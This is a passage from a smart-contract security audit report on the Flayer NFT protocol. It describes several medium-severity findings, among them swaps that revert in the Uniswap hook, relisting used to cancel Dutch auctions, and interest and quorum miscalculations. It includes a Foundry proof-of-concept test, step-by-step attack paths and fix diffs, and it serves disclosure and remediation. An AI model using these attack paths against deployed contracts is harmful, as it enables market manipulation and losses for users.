        liquidity: poolManager.getLiquidity(poolId),
        amountRemaining: int(pendingPoolFees.amount1),
        feePips: 0
    });

@>  if (tokenOut <= uint(-params.amountSpecified)) {
        // Update our hook delta to reduce the upcoming swap amount to show that we
 ↪  have
```

```
        // already spent some of the ETH and received some of the underlying ERC20.
        // Specified = exact input (ETH)
        // Unspecified = token1
        beforeSwapDelta_ = toBeforeSwapDelta(ethIn.toInt128(),
↪   -tokenOut.toInt128());
    } else {
        ethIn = tokenOut = 0;
    }
}
```

This results in the UniswapImplementation::beforeSwap() reverting in the situations explained in internal pre-conditions below.

Internal pre-conditions

1. User is swapping native tokens for collection tokens
2. The hook accumulated at least `1` wei of collection tokens in fees
3. `tokenOut` is lower than `uint(-params.amountSpecified)` and `ethIn` is bigger than `uint(-params.amountSpecified)`

External pre-conditions

No response

Attack Path

No response

Impact

All swaps that follow the internal pre-conditions will revert.

PoC

To copy-paste in `UniswapImplementation.t.sol`:

```
function test_swapFails() public {
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");

    ERC721Mock erc721 = new ERC721Mock();
    CollectionToken ctoken =
↪   CollectionToken(locker.createCollection(address(erc721), 'ERC721', 'ERC', 0));
```

```
    //### APPROVALS
    //-> Alice approvals
    vm.startPrank(alice);
    erc721.setApprovalForAll(address(locker), true);
    ctoken.approve(address(poolSwap), type(uint256).max);
    ctoken.approve(address(uniswapImplementation), type(uint256).max);
    vm.stopPrank();
    _approveNativeToken(alice, address(locker), type(uint).max);
    _approveNativeToken(alice, address(poolManager), type(uint).max);
    _approveNativeToken(alice, address(poolSwap), type(uint).max);

    //-> Bob approvals
    vm.startPrank(bob);
    erc721.setApprovalForAll(address(locker), true);
    ctoken.approve(address(uniswapImplementation), type(uint256).max);
    ctoken.approve(address(poolSwap), type(uint256).max);
    vm.stopPrank();
    _approveNativeToken(bob, address(locker), type(uint).max);
    _approveNativeToken(bob, address(poolManager), type(uint).max);
    _approveNativeToken(bob, address(poolSwap), type(uint).max);

    // uniswapImplementation.setAmmFee(1000);
    // uniswapImplementation.setAmmBeneficiary(BENEFICIARY);



    //### MINT NFTs
    //-> Mint 10 tokens to Alice
    uint[] memory _tokenIds = new uint[](10);
    for (uint i; i < 10; ++i) {
        erc721.mint(alice, i);
        _tokenIds[i] = i;
    }

    //-> Mint an extra token to Alice
    uint[] memory _tokenIdToDepositAlice = new uint[](1);
    erc721.mint(alice, 10);
    _tokenIdToDepositAlice[0] = 10;


    //### [ALICE] COLLECTION INITIALIZATION + LIQUIDITY PROVISION
    //-> alice initializes a collection and adds liquidity: 1e19 NATIVE + 1e19
↪   CTOKEN
    uint256 initialNativeLiquidity = 1e19;
    _dealNativeToken(alice, initialNativeLiquidity);
    vm.startPrank(alice);
```

```
    locker.initializeCollection(address(erc721), initialNativeLiquidity, _tokenIds,
↪   0, SQRT_PRICE_1_1);
    vm.stopPrank();



    //### [ALICE] ADDING CTOKEN FEES TO HOOK
    //-> alice deposits an NFT to get 1e18 CTOKEN and then deposits 1e18 CTOKENS as
↪   fees in the UniswapImplementation hook
    vm.startPrank(alice);
    locker.deposit(address(erc721), _tokenIdToDepositAlice, alice);
    uniswapImplementation.depositFees(address(erc721), 0, 1e18);
    vm.stopPrank();



    //### [BOB] SWAP FAILS
    _dealNativeToken(bob, 1e18);

    //-> bob swaps `1e18` NATIVE tokens for CTOKENS but the swap fails
    vm.startPrank(bob);
    poolSwap.swap(
        PoolKey({
            currency0: Currency.wrap(address(ctoken)),
            currency1: Currency.wrap(address(WETH)),
            fee: LPFeeLibrary.DYNAMIC_FEE_FLAG,
            tickSpacing: 60,
            hooks: IHooks(address(uniswapImplementation))
        }),
        IPoolManager.SwapParams({
            zeroForOne: false,
            amountSpecified: -int(1e18),
            sqrtPriceLimitX96: (TickMath.MAX_SQRT_PRICE - 1)
        }),
        PoolSwapTest.TestSettings({
            takeClaims: false,
            settleUsingBurn: false
        }),
        ''
    );
}
```

Mitigation

In UniswapImplementation::beforeSwap() check against `ethIn` instead of `tokenOut`:

```
@>  if (ethIn <= uint(-params.amountSpecified)) {
        // Update our hook delta to reduce the upcoming swap amount to show that we
↪   have
        // already spent some of the ETH and received some of the underlying ERC20.
        // Specified = exact input (ETH)
        // Unspecified = token1
        beforeSwapDelta_ = toBeforeSwapDelta(ethIn.toInt128(),
↪   -tokenOut.toInt128());
    } else {
        ethIn = tokenOut = 0;
    }
```

Issue M-20: User can cancel or modify Dutch auctions, compromising market integrity and user trust

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/520

Found by

0xNirix

Summary

A lack of listing type preservation during relisting can be exploited by by users to modify or cancel Dutch auctions, violating core protocol principles.

Root Cause

In Listings.sol, there's a critical oversight in the relist function that allows bypassing restrictions on Dutch auctions and Liquidation listings. Here's a detailed walkthrough:

The modifyListings and cancelListings functions have checks to prevent modification of Dutch auctions: https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L312 and https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L430

```
function modifyListings(address _collection, ModifyListing[] calldata
↪  _modifyListings, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused
↪  returns (uint taxRequired_, uint refund_) {
    // ...
    if (getListingType(listing) != Enums.ListingType.LIQUID) revert
↪  InvalidListingType();
    // ...
}

function cancelListings(address _collection, uint[] memory _tokenIds, bool
↪  _payTaxWithEscrow) public lockerNotPaused {
    // ...
    if (getListingType(listing) != Enums.ListingType.LIQUID) revert
↪  CannotCancelListingType();
    // ...
}
```

However, the relist function lacks these checks:

```
function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public
↪  nonReentrant lockerNotPaused {
    // Read the existing listing in a single read
    Listing memory oldListing = _listings[_collection][_tokenId];

    // Ensure the caller is not the owner of the listing
    if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();

    // ... price difference payment logic ...

    // We can process a tax refund for the existing listing
    (uint _fees,) = _resolveListingTax(oldListing, _collection, true);

    // Validate our new listing
    _validateCreateListing(_listing);

    // Store our listing into our Listing mappings
    _listings[_collection][_tokenId] = listing;

    // Pay our required taxes
    payTaxWithEscrow(address(collectionToken), getListingTaxRequired(listing,
↪  _collection), _payTaxWithEscrow);

    // ... events ...
}
```

This function allows any non-owner to relist an item, potentially changing its type from Dutch or liquidation to liquid. The attacker suffers minimal loss due to:

a) Tax refund for the old listing:

```
(uint _fees,) = _resolveListingTax(oldListing, _collection, true);
```

b) Immediate cancellation after relisting, which refunds most of the new listing's tax:

```
function _resolveListingTax(Listing memory _listing, address _collection, bool
↪  _action) private returns (uint fees_, uint refund_) {
    // ...
    if (block.timestamp < _listing.created + _listing.duration) {
        refund_ = (_listing.duration - (block.timestamp - _listing.created)) *
↪  taxPaid / _listing.duration;
    }
    // ...
}
```

This oversight allows attackers to bypass the intended restrictions on Dutch auctions and Liquidation listings, violating the core principle of auction immutability with minimal financial loss.

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

1. Attacker creates a Dutch auction or liquidation listing from Wallet A.
2. Attacker uses Wallet B to call relist, converting the Dutch auction to a Liquid listing by modifying the duration.
3. Attacker immediately cancels the new liquid listing using cancelListings at minimal cost.

Impact

The NFT holders and potential bidders suffer a loss of trust and market efficiency. The attacker gains the ability to manipulate auctions, potentially extracting value by gaming the system. This violates the core principle stated in the whitepaper like around expiry of a liquid auction - `theitemisimmediatelylockedintoadutchauctionwherethepricefallsfromitscurrentfloormultipledowntothefloor(1x)overaperiodof4days.` However, as seen in this issue, the lock can be broken by just relisting and then cancelling. The issue affects not only Dutch auctions but also liquidation listings which can be similarly canceled or modified and is not properly handled. For example, in case a liquidation listing is cancelled, the `_isLiquidation[_collection][_tokenId]` flag is not cleared causing further issues.

PoC

No response

Mitigation

No response

Issue M-21: Reserving a listing checkpoints the collection's `compoundFactor` at an intermediary higher compound factor

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/533

Found by

Sentryx

Summary

When a listing is reserved (**Listings#`reserve()`**) there are multiple CollectionToken operations that affect its `totalSupply` that take place in the following order: transfer → transfer → burn → mint → transfer → burn. After the function ends execution the `totalSupply` of the CollectionToken itself remains unchanged compared to before the call to the function, but in the middle of its execution a protected listing is created and its compound factor is checkpointed at an intermediary state of the CollectionToken's total supply (between the first burn and the mint) that will later affect the rate of interest accrual on the loan itself in harm to all borrowers of NFTs in that collection causing them to actually accrue more interest on the loan.

Root Cause

To be able to understand the issue, we must inspect what CollectionToken operations are performed throughout the execution of the `reserve()` function and at which point exactly the protected listing's `compoundFactor` is checkpointed.

(Will comment out the irrelevant parts of the function for brevity) https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690-L759

```
    function reserve(address _collection, uint _tokenId, uint _collateral) public
↪   nonReentrant lockerNotPaused {
        // ...

        if (oldListing.owner != address(0)) {
            // We can process a tax refund for the existing listing if it isn't a
↪   liquidation
            if (!_isLiquidation[_collection][_tokenId]) {
                // 1st transfer
→               (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
                if (_fees != 0) {
                    emit ListingFeeCaptured(_collection, _tokenId, _fees);
```

```
                }
            }

            // ...

            if (listingPrice > listingFloorPrice) {
                unchecked {
                    // 2nd transfer
→                   collectionToken.transferFrom(msg.sender, oldListing.owner,
↪   listingPrice - listingFloorPrice);
                }
            }

            // ...
        }

        // 1st burn
→       collectionToken.burnFrom(msg.sender, _collateral * 10 **
↪   collectionToken.denomination());

        // ...

        // the protected listing is recorded in storage with the just-checkpointed
↪   compoundFactor
        // then: mint + transfer
→       protectedListings.createListings(createProtectedListing);

        // 2nd burn
→       collectionToken.burn((1 ether - _collateral) * 10 **
↪   collectionToken.denomination());

        // ...
    }
```

Due to the loan's `compoundFactor` being checkpointed before the second burn of `1ether-_collateral` CollectionTokens (and before `listingCount[listing.collection]` is incremented) , the `totalSupply` will be temporarily decreased which will make the collection's utilization ratio go up a notch due to the way it's derived and this will eventually be reflected in the checkpointed `compoundFactor` for the current block and respectively for the loan as well.

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L117-L156

```
    function createListings(CreateListing[] calldata _createListings) public
↪   nonReentrant lockerNotPaused {
        // ...

        for (uint i; i < _createListings.length; ++i) {
```

```
            // ...

            if (checkpointIndex == 0) {
                // @audit Checkpoint the temporarily altered `compoundFactor` due
 ↪  to the temporary
                // change in the CollectionToken's `totalSupply`.
→               checkpointIndex = _createCheckpoint(listing.collection);
                assembly { tstore(checkpointKey, checkpointIndex) }
            }

            // ...

            // @audit Store the listing with a pointer to the index of the
 ↪  inacurate checkpoint above
→           tokensReceived = _mapListings(listing, tokensIdsLength,
 ↪  checkpointIndex) * 10 **
 ↪  locker.collectionToken(listing.collection).denomination();

            // Register our listing type
            unchecked {
                listingCount[listing.collection] += tokensIdsLength;
            }

            // ...
        }
    }
```

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L530-L571

```
    function _createCheckpoint(address _collection) internal returns (uint index_) {
→       Checkpoint memory checkpoint = _currentCheckpoint(_collection);

        // ...

        collectionCheckpoints[_collection].push(checkpoint);
    }
```

`_currentCheckpoint()` will fetch the current utilization ratio which is temporarily higher and will calculate the current checkpoint's `compoundedFactor` with it (which the newly created loan will reference thereafter).

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L580-L596

```
    function _currentCheckpoint(address _collection) internal view returns
 ↪  (Checkpoint memory checkpoint_) {
        // ...
→       (, uint _utilizationRate) = utilizationRate(_collection);
```

```
        // ...

        checkpoint_ = Checkpoint({
→           compoundedFactor: locker.taxCalculator().calculateCompoundedFactor({
                _previousCompoundedFactor: previousCheckpoint.compoundedFactor,
                _utilizationRate: _utilizationRate,
                _timePeriod: block.timestamp - previousCheckpoint.timestamp
            }),
            timestamp: block.timestamp
        });
    }
```

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L261-L276

```
    function utilizationRate(address _collection) public view virtual returns (uint
↪   listingsOfType_, uint utilizationRate_) {
        listingsOfType_ = listingCount[_collection];
        // ...
        if (listingsOfType_ != 0) {
            // ...
→           uint totalSupply = collectionToken.totalSupply();
            if (totalSupply != 0) {
→               utilizationRate_ = (listingsOfType_ * 1e36 * 10 **
↪   collectionToken.denomination()) / totalSupply;
            }
        }
    }
```

Internal pre-conditions

None

External pre-conditions

None

Attack Path

No attack required.

Impact

Knowing how a collection's utilization rate is calculated we can clearly see the impact it'll have on the checkpointed compounded factor for a block:

$$\text{utilizationRate} = \frac{\text{collection protected listings count} \ * \ 1e36 \ * \ 10^{\text{denomination}}}{\text{CT total supply}}$$

The less CollectionToken (CT) total supply, the higher the utilization rate for a constant collection's protected listings count. The higher the utilization rate, the higher the `compoundedFactor` will be for the current checkpoint and for the protected position created (the loan).

$$\text{`compoundedFactor} = \frac{\text{previousCompoundFactor} \ * \ (1e18 + (\text{perSecondRate} \ / 1000 * \text{\_timePeriod}))}{1e18}\text{`,}$$

Where: $\text{perSecondRate} = \frac{\text{interestRate} * 1e18}{365 * 24 * 60 * 60}$

$\text{interestRate} = 200 + \frac{\text{utilizationRate} * 600}{0.8e18}$ – When `utilizationRate` ≤ 0.8e18 (`UTILIZATION_KINK`) OR $\text{interestRate} = (\frac{(\text{utilizationRate} - 200) * (100 - 8)}{1e18 - 200} + 8) * 100$ – When `utilizationRate` > 0.8e18 (`UTILIZATION_KINK`)

As a result (and with the help of another issue that has a different root cause and a fix which is submitted separately) the loan will end up checkpointing a temporarily higher `compoundedFactor` and thus will compound more interest in the future than it's correct to. It's important to know that no matter how many times `createCheckpoint()` is called after the call to `reserve()`, the `compoundFactor` for the current block's checkpoint will remain as. But even without that, there is **no guarantee** that even if it worked correctly, there'd by any calls that'd record a new checkpoint for that collection.

PoC

1. Bob lists an NFT for sale. The `duration` and the `floorMultiple` of the listing are irrelevant in this case.
2. John sees the NFT and wants to reserve it, putting up `0.9e18` amount of CollectionTokens as `_collateral`.
3. The `_collateral` is burned.
4. The collection's `compoundFactor` for the current block is checkpointed.

Let's say there is only one protected listing prior to John's call to `reserve()` and its owner has put up `0.5e18` CollectionTokens as collateral.

$\text{old collection token total supply} = 5e18 \ \text{collection protected listings count} = 1$

We can now calculate the utilization rate the way it's calculated right now:

$$\text{utilizationRate} = \frac{\text{collection protected listings count} \ * 1e36 * 10^{\text{denomination}}}{\text{CT total supply}}$$

‘$\text{utilizationRate} = \frac{1 * 1e36 * 10^0}{5e18 - 0.9e18}$‘ (assuming `denomination` is 0)

$\text{utilizationRate} = \frac{1e36}{4.1e18} = 243902439024390243$

We can now proceed to calculate the wrong compounded factor:

‘$\text{compoundedFactor} = \frac{\text{previousCompoundFactor} * (1e18 + (\text{perSecondRate} / 1000 * \text{\_timePeriod}))}{1e18}$‘

Where: $\text{previousCompoundFactor} = 1e18$

$\text{interestRate} = 200 + \frac{\text{utilizationRate} * 600}{0.8e18} = 200 + \frac{243902439024390243 * 600}{0.8e18} = 382$ (3.82 %)

$\text{perSecondRate} = \frac{\text{interestRate} * 1e18}{365 * 24 * 60 * 60} = \frac{382 * 1e18}{31\,536\,000} = 12113140537798$

$\text{timePeriod} = 432000$ (5 days) (last checkpoint was made 5 days ago)

$\text{compoundedFactor} = \frac{1e18 * (1e18 + (12113140537798/1000 * 432000))}{1e18}$

$\text{compoundedFactor} = \frac{1e18 * 1005232876711984000}{1e18} = 1005232876711984000$ (This will be the final compound factor for the checkpoint for the current block)

The correct utilization rate however, should be calculated with a current collection token total supply of `5e18` at the time when `reserve()` is called, which will result in:

‘$\text{utilizationRate} = \frac{\text{collection protected listings count} * 1e36 * 10^{\text{denomination}}}{\text{CT total supply}} = \frac{1 * 1e36}{5e18} =$ 200000000000000000‘

The difference with the wrong utilization rate is ‘`43902439024390243`‘ or ~‘`0.439e18`‘ which is ~18% smaller than the wrongly computed utilization rate).

From then on the interest rate will be lower and thus the final and correct compounded factor comes out at `1004794520547808000` (will not repeat the formulas for brevity) which is around 0.05% smaller than the wrongly recorded compounded factor. The % might not be big but remember that this error will be bigger with the longer time period between the two checkpoints and will be compounding with every call to `reserve()`.

5. A protected listing is created for the reserved NFT, referencing the current checkpoint.
6. When the collection's `compoundFactor` is checkpointed the next time, the final `compoundFactor` product will be times greater due to the now incremented collection's protected listings count and the increased (back to the value before the reserve was made) total supply of CollectionTokens.

Lets say after another 5 days the `createCheckpoint()` method is called for that collection without any changes in the CollectionToken total supply or the collection's protected listings count. The math will remain mostly the same with little updates and we will first run the math with the wrongly computed $\text{previousCompoundedFactor}$ and then will compare it to the correct one.

collection token total supply $= 5e18$ (because the burned `_collateral` amount of CollectionTokens has been essentially minted to the **ProtectedListings** contract hence as we said `reserve()` does **not** affect the total supply after the function is executed).
collection protected listings count $= 2$ (now 1 more due to the created protected listing)
previousCompoundedFactor $= 1005232876711984000$ (the wrong one, as we derived it a bit earlier) utilizationRate $= \frac{\text{collection protected listings count } * \text{ 1e36 } * 10^{\text{denomination}}}{\text{CT total supply}}$

$$\text{utilizationRate} = \frac{2 * 1e36 * 10^0}{5e18} = \frac{2e36}{5e18} = 0.4e18$$

$$\text{interestRate} = 200 + \frac{\text{utilizationRate} * 600}{0.8e18} = 200 + \frac{0.4e18 * 600}{0.8e18} = 500 \text{ (5 \%)}$$

$$\text{perSecondRate} = \frac{\text{interestRate} * 1e18}{365 * 24 * 60 * 60} = \frac{500 * 1e18}{31\,536\,000} = 15854895991882$$

timePeriod $= 432000$ (5 days) (the previous checkpoint was made 5 days ago)

$$\text{compoundedFactor} = \frac{1005232876711984000 * (1e18 + (15854895991882/1000 * 432000)}{1e18}$$

$$\text{compoundedFactor} = \frac{1005232876711984000 * 1006849315068112000}{1e18} = 1012118033401408964$$ or 0.68% accrued interest for that collection for the past 5 days.

Now let's run the math but compounding on top of the correct compound factor:

$$\text{compoundedFactor} = \frac{1004794520547808000 * 1006849315068112000}{1e18} = 1011676674797752473$$ or 0.21% of interest should've been accrued for that collection for the past 5 days, instead of 0.68% which in this case is 3 times bigger.

Mitigation

Just burn the `_collateral` amount after the protected listing is created. This way the `compoundedFactor` will be calculated and checkpointed properly.

```
diff --git a/flayer/src/contracts/Listings.sol b/flayer/src/contracts/Listings.sol
index eb39e7a..c8eac4d 100644
--- a/flayer/src/contracts/Listings.sol
+++ b/flayer/src/contracts/Listings.sol
@@ -725,10 +725,6 @@ contract Listings is IListings, Ownable, ReentrancyGuard,
 ↪  TokenEscrow {
             unchecked { listingCount[_collection] -= 1; }
         }

-        // Burn the tokens that the user provided as collateral, as we will have
 ↪  it minted
-        // from {ProtectedListings}.
-        collectionToken.burnFrom(msg.sender, _collateral * 10 **
 ↪  collectionToken.denomination());
-
         // We can now pull in the tokens from the Locker
```

```
         locker.withdrawToken(_collection, _tokenId, address(this));
         IERC721(_collection).approve(address(protectedListings), _tokenId);
@@ -750,6 +746,10 @@ contract Listings is IListings, Ownable, ReentrancyGuard,
 ↪  TokenEscrow {
         // Create our listing, receiving the ERC20 into this contract
         protectedListings.createListings(createProtectedListing);

+        // Burn the tokens that the user provided as collateral, as we will have
 ↪  it minted
+        // from {ProtectedListings}.
+        collectionToken.burnFrom(msg.sender, _collateral * 10 **
 ↪  collectionToken.denomination());
+
         // We should now have received the non-collateral assets, which we will
 ↪  burn in
         // addition to the amount that the user sent us.
         collectionToken.burn((1 ether - _collateral) * 10 **
 ↪  collectionToken.denomination());
```

Issue M-22: FTokens are burned after `quorumVotes` are recorded making a portion of the shares unclaimable

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/610

Found by

g, zarkk01

Summary

`params.quorumVotes` is larger than it should because Locker's collection tokens are burned after `quorumVotes` is recorded.

```
uint newQuorum = params.collectionToken.totalSupply() * SHUTDOWN_QUORUM_PERCENT /
↪  ONE_HUNDRED_PERCENT;
if (params.quorumVotes != newQuorum) {
    params.quorumVotes = uint88(newQuorum);
}

// Lockdown the collection to prevent any new interaction
// @audit sunsetCollection() burns the Locker's tokens decreasing the
↪  `totalSupply`. If this was called before
// `params.quorumVotes` was set, the totalSupply() would be smaller and each vote
↪  would get more share of the ETH profits.
locker.sunsetCollection(_collection);
```

When a collection is shut down, its NFTs are sold off via Dutch auction in a SudoSwap pool. This sale's ETH profits are distributed to the holders of the collection token (fToken).

The claim amount is calculated with `availableClaim*claimableVotes/params.quorumVotes*2`. The higher `params.quorumVotes`, the lower the claim amount for each vote.

Root Cause

`params.quorumVotes` is larger than it should because Locker's collection tokens are burned after `quorumVotes` is recorded.

Internal pre-conditions

1. At least 50% of Holders have voted for a collection to shut down.

2. No listings for the target collection exist.

External pre-conditions

None

Attack Path

1. Admin calls . The vulnerability always happens when this is called.

Impact

A portion of the claimable ETH can never be claimed and all voters can claim less ETH.

PoC

No response

Mitigation

Consider calling `Locker::sunsetCollection()` before setting the `params.quorumVotes` in .

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.